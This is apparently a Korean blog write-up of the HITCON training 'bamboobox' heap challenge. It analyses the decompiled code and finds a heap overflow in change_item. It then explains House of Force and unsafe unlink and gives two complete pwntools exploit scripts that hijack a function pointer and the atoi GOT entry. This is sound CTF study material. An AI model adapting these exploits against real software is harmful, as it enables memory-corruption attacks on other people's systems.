1. 문제
1) mitigation 확인
PIE가 안걸려있다. NX비트와 카나리가 전부이다
2) 문제 확인
box에 아이템을 추가, 변경, 삭제, 확인할 수 있다
3) 코드흐름 파악
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (**v3)(void); // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = (void (**)(void))malloc(0x10uLL);
*v3 = (void (*)(void))hello_message;
v3[1] = (void (*)(void))goodbye_message;
(*v3)();
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
switch ( (unsigned __int64)(unsigned int)atoi(&buf) )
{
case 1uLL:
show_item();
break;
case 2uLL:
add_item();
break;
case 3uLL:
change_item();
break;
case 4uLL:
remove_item();
break;
case 5uLL:
v3[1]();
exit(0);
return;
default:
puts("invaild choice!!!");
break;
}
}
}
- 메인은 간단하다, 반복문을 돌면서, read함수로 입력을 받는다. 그다음 atoi 함수로 입력한 값을 인티저로 변경하여 해당 값에 알맞은 함수가 호출된다.
- 만약 5를 입력하면, v3[1]()를 호출하는데, 이는 malloc(0x10)으로 할당받은 영역에 들어있는 함수포인터이다. v3[0]에는 hello_message 함수 포인터가 들어있고, v3[1]에는 goodbye_message가 들어있다
- add_item() 함수
__int64 add_item() { int i; // [rsp+4h] [rbp-1Ch] int v2; // [rsp+8h] [rbp-18h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); if ( num > 99 ) { puts("the box is full"); } else { printf("Please enter the length of item name:"); read(0, &buf, 8uLL); v2 = atoi(&buf); if ( !v2 ) { puts("invaild length"); return 0LL; } for ( i = 0; i <= 99; ++i ) { if ( !qword_6020C8[2 * i] ) { *((_DWORD *)&itemlist + 4 * i) = v2; qword_6020C8[2 * i] = malloc(v2); printf("Please enter the name of item:"); *(_BYTE *)(qword_6020C8[2 * i] + (int)read(0, (void *)qword_6020C8[2 * i], v2)) = 0; ++num; return 0LL; } } } return 0LL; }
- bss 영역에 num변수가 설정되어있다. 해당 값이 99보다 커지면 더이상 해당 함수를 호출할수 없다. 즉 malloc이 가능한 횟수는 최대 99번이다.
- qword_6020C8 은 bss영역에 존재하는 배열이다. add_item 함수가 한번 호출될때마다, 배열의 인덱스를 2개 사용한다. 하나는 사용자가 입력한 사이즈가 저장되고, 하나는, 힙 영역의 주소가 저장된다.
- 마지막으로 read함수를 이용하여 힙 영역에 데이터를 저장하고, 마지막에 0을 삽입한다. 그리고 num을 하나 증가시킨다
- remove_item() 함수
unsigned __int64 remove_item() { int v1; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of item:"); read(0, &buf, 8uLL); v1 = atoi(&buf); if ( qword_6020C8[2 * v1] ) { free((void *)qword_6020C8[2 * v1]); qword_6020C8[2 * v1] = 0LL; *((_DWORD *)&itemlist + 4 * v1) = 0; puts("remove successful!!"); --num; } else { puts("invaild index"); } } else { puts("No item in the box"); } return __readfsqword(0x28u) ^ v3; }
- 삭제하고자 하는 인덱스를 입력하고 해당 인덱스에 해당하는 배열에 값이 존재하면, 즉 청크의 주소가 들어있으면, 해당 청크를 free시킨다
- 그다음 해당 청크에 해당하는 사이즈와 청크 주소를 배열의 주소에서 삭제한다. 이로서 DFB를 사용하지 못한다
- change_item() 함수
unsigned __int64 change_item() { int v1; // [rsp+4h] [rbp-2Ch] int v2; // [rsp+8h] [rbp-28h] char buf; // [rsp+10h] [rbp-20h] char nptr; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of item:"); read(0, &buf, 8uLL); v1 = atoi(&buf); if ( qword_6020C8[2 * v1] ) { printf("Please enter the length of item name:"); read(0, &nptr, 8uLL); v2 = atoi(&nptr); printf("Please enter the new name of the item:"); *(_BYTE *)(qword_6020C8[2 * v1] + (int)read(0, (void *)qword_6020C8[2 * v1], v2)) = 0; } else { puts("invaild index"); } } else { puts("No item in the box"); } return __readfsqword(0x28u) ^ v5; }
- 변경하고자하는 청크가 저장되어있는 itemlist 배열의 인덱스를 선택한다.
- 해당 인덱스에 해당하는 청크 주소가 존재하면, read함수를 호출하여 수정할 사이즈를 입력하고 그만큼 입력이 가능하다.
- 이를 통해 처음에 할당받은 청크 사이즈보다 더 큰 데이터가 입력가능하여 힘 오버플로우를 일으킬수 있다
- show_item() 함수
int show_item() { int i; // [rsp+Ch] [rbp-4h] if ( !num ) return puts("No item in the box"); for ( i = 0; i <= 99; ++i ) { if ( qword_6020C8[2 * i] ) printf("%d : %s", (unsigned int)i, qword_6020C8[2 * i]); } return puts(byte_401089); }
- qword_6020C8에 저장된 입력한 인덱스에 해당하는 청크에 담긴 데이터를 출력한다
2. 접근방법
해당 문제는 house of fouce, unsafe unlink 두가지 방법으로 문제를 해결할 수 있다. 둘다 접해보지 못한 문제였기 때문에, 먼저 공부를 진행한뒤, 문제풀이를 시작하였다. 해당 기법에 대한 분석자료는 아래에서 확인 가능하다
2.1 House of Force를 이용한 풀이
현재 change_item() 함수를 이용하여 Top 청크의 사이즈를 수정 가능하고, 또한 malloc도 충분히 많이 할수 있기 때문에 House of Fouce를 이용할 수 있다.
우리의 최종 목표는 magic 함수를 호출하는 것이다. hello_message 함수포인터는 초기에 딱한번 호출되기 때문에 건들기 힘들고, 메뉴 5번을 눌렀을때 호출되는 goodbye_message 함수 포인터를 magic함수로 덮으면 될 것이다.
Top 청크를 heap_base에 맨 처음 할당된 malloc(0x10) 청크로 변경하고, malloc을 한번더 호출하면, hello_message가 담겨있는 mem 영역부터 수정이 가능하다. goodbye_message가 담긴 부분에 magic함수를 넣고, 메인에서 5를 선택하여 해당 함수가 호출되면 끝이다.
현재 Top 청크의 주소는 0x12cb050이다. 이 부분을 change_item() 함수를 이용하여 0xffffffffffffffff으로 덮었다. 현재 우리는 0x12cb018에 위치해있는 0x4008b1 즉, goodbye_message 함수를, 변경하는 것이기 때문에 top 청크를 0x12cb000으로 변경시켜야 한다.
목표주소(0x12cb010) - 탑청크주소(0x12cb050) - 0x10 - 0x10 = 0xFFFFFFFFFFFFFFA0 = -96
(디버깅 하다 끄고 다시해서 주소는 신경쓰지 말고 오프셋만 보세요..)
현재 add_item(-96) 을 주게 되면, 탑 청크의 주소가 0x23e000으로 변경됬고, 여기서 add_item을 한번더 호출하면 0x23e010 주소가 리턴되어 이 곳에 원하는 데이터를 삽입 가능하다.
보면 goodbye_message 함수포인터가 magic함수로 덮힌 것을 확인할 수 있다.
2.2 Unsafe Unlink를 이용한 풀이
이 방법역시 change_item() 함수를 이용하여 두번째 청크의 헤더 부분을 조작가능하다.
이번에는 atoi 함수의 got를 overwrite해서 magic함수로 덮는 것을 목표로 하겠다.
현재 itemlist+8 단위로 청크의 주소가 들어가므로 전역변수를 itemlist+8 즉, 0x6020C8를 기준으로 unlink를 호출해보자.
현재 3번의 add_item() 호출을 통해 itemlist에 3개의 청크 주소가 들어가 있다. 여기서 change_item()함수를 호출하여 0번인덱스를 선택하였다. 그 다음 위 사진처럼 unlink에 필요한 데이터를 삽입하였다. 0x6020c8 - 24 = 0x6020b0 이다. 따로 설명은 안하겠다. 이제 remove_item함수를 호출하여 1번 인덱스를 free시키겠다.
FD->bk = BK; BK->fd = FD;
이 두개가 unlink 함수 호출시 호출되게 되는데 FD→bk, BK→fd 둘다 fake 청크 즉 0x6020C8 이므로 해당 위치에 최종적으로 FD값인 0x6020C8 - 24 = 0x6020b0이 들어간다. 이제 change_item 함수를 호출하여 0번인덱스를 선택하면 0x6020b0위치에 있는 값 부터 수정 가능하다, "A"*16+atoi_got 를 입력하면, 0x6020c8에 atoi_got가 들어갈 것이다
이제 한번더 change_item함수를 호출하여 0번 인덱스를 선택하면 0x602068에 들어있는 값을 수정가능하고, 여기에 magic함수를 넣으면 끝이다.
3. 풀이
- house of fouce 이용한 익스코드
from pwn import * context(log_level="DEBUG") p=process("./bamboobox") gdb.attach(p,'code\nb *0xe90+$code\n') def add_(size,content): p.sendlineafter("choice:","2") p.sendafter("name:",str(size)) p.sendafter("item:",str(content)) def remove_(index): p.sendlineafter("choice:","4") p.sendlineafter("item:",str(index)) def change_(index,size,content): p.sendlineafter("choice:","3") p.sendlineafter("index of item:",str(index)) p.sendafter("length of item name:",str(size)) p.sendafter("the item:",str(content)) add_(32,"A"*3) change_(0,48,"A"*40+p64(0xffffffffffffffff)) add_(-96,"A") pause() add_(16,p64(0x400d49)+p64(0x400d49)) p.sendlineafter("choice:","5") p.interactive()
- Unsafe Unlink를 이용한 익스코드
from pwn import * context(log_level="DEBUG") p=process("./bamboobox") e=ELF("./bamboobox") gdb.attach(p,'code\nb *0xE9C+$code\n') def add_(size,content): p.sendlineafter("choice:","2") p.sendafter("name:",str(size)) p.sendafter("item:",str(content)) def remove_(index): p.sendlineafter("choice:","4") p.sendlineafter("item:",str(index)) def change_(index,size,content): p.sendlineafter("choice:","3") p.sendlineafter("index of item:",str(index)) p.sendafter("length of item name:",str(size)) p.sendafter("the item:",str(content)) itemlist=0x6020c8 add_(128,"A") add_(128,"A") add_(128,"A") #for did not consolidation with top chunk payload=p64(0) payload+=p64(0) payload+=p64(itemlist-24) payload+=p64(itemlist-16) payload+="B"*96 payload+=p64(0x80) payload+=p64(0x90) change_(0,len(payload),payload) remove_(1) payload2="A"*24 payload2+=p64(e.got['atoi']) change_(0,len(payload2),payload2) change_(0,8,p64(0x400D49)) p.sendlineafter("choice:","2") p.interactive()
4. 몰랐던 개념
- house of Fouce
- Unsafe Unlink
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 13 (0) | 2020.04.23 |
---|---|
[Hicon training] LAB 12 (0) | 2020.04.21 |
[Hicon training] LAB 10 (0) | 2020.04.16 |
[Hicon training] LAB 9 (0) | 2020.04.16 |
[Hicon training] LAB 8 (0) | 2020.04.15 |